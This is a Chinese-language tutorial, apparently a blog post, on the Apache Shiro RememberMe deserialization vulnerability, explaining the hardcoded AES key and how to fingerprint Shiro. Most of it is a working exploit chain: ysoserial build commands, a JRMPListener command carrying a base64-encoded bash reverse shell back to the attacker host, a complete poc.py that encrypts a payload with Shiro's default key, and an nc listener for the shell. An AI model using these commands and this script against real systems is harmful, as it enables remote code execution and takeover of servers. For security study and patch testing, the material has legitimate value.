shiro反序列化漏洞
Shiro简述
- Shiro 是 Java 的一个安全框架,执行身份验证、授权、密码、会话管理
- shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化 然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
硬编码
硬编码要求程序的源代码在输入数据或所需格式发生变化时进行更改,以便最终用户可以通过程序外的某种方式更改细节。
简单来说就是一个常量。Shiro的AES密钥是一个常量,不会变化。这导致可以通过密码典的方式进行爆破。
漏洞原理
Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后:
Base64解码=>AES解密=>反序列化。
攻击者只要找到AES加密的密钥(KEY),就可以构造一个恶意对象,对其进行:
序列化=>AES加密=>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。
影响版本
Apache Shiro < 1.2.4
漏洞特征
Shiro框架默认指纹特征:在请求包的Cookie中为 rememberMe字段赋任意值,收到返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,说明目标有使用Shiro框架,可以进一步测试。
RMI/JRMP协议
JRMP是一个Java远程方法协议,该协议基于TCP/IP之上,RMI协议之下。也就是说RMI协议传递时底层使用的是JRMP协议,而JRMP底层则是基于TCP传递。RMI默认使用的JRMP进行传递数据,并且JRMP协议只能作用于RMI协议。当然RMI支持的协议除了JRMP还有IIOP协议。那RMI协议又是什么呢?总的来说,RMI协议集合了Java序列化和Java远程方法协议(Java Remote Method Protocol),是一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法,是分布式应用之间调用的一种手段。笔者个人的理解就是它实现了 java 远程模块之间的共享。
漏洞检测和利用工具
shiro_tool.jar、ShiroExploitV2.51、shiro_attack-v2.0.jar
漏洞复现 手工攻击
攻击机:192.168.43.131
靶机:192.168.43.132
下载工具
ysoserial的jar文件
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests
攻击流程
使用ysoserial中JRMP监听模块,监听1001端口
攻击机:192.168.43.131 中执行命令:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1001 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQzLjEzMS85OTkgMD4mMQ==}|{base64,-d}|{bash,-i}'
使用poc.py 生成Payload
在攻击机:192.168.43.131 中生成rememberMe
python poc.py 192.168.43.131:1001
poc.py
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
监听反弹端口 999
攻击机:192.168.43.131 中执行命令:nc -lvnp 999
用浏览器打开,填写提供的Usename Password , 记住一定要勾选Remember Me。
抓包:
用刚刚构造的rememberMe,放到jsessionid后面
成功反弹shell
更多推荐
所有评论(0)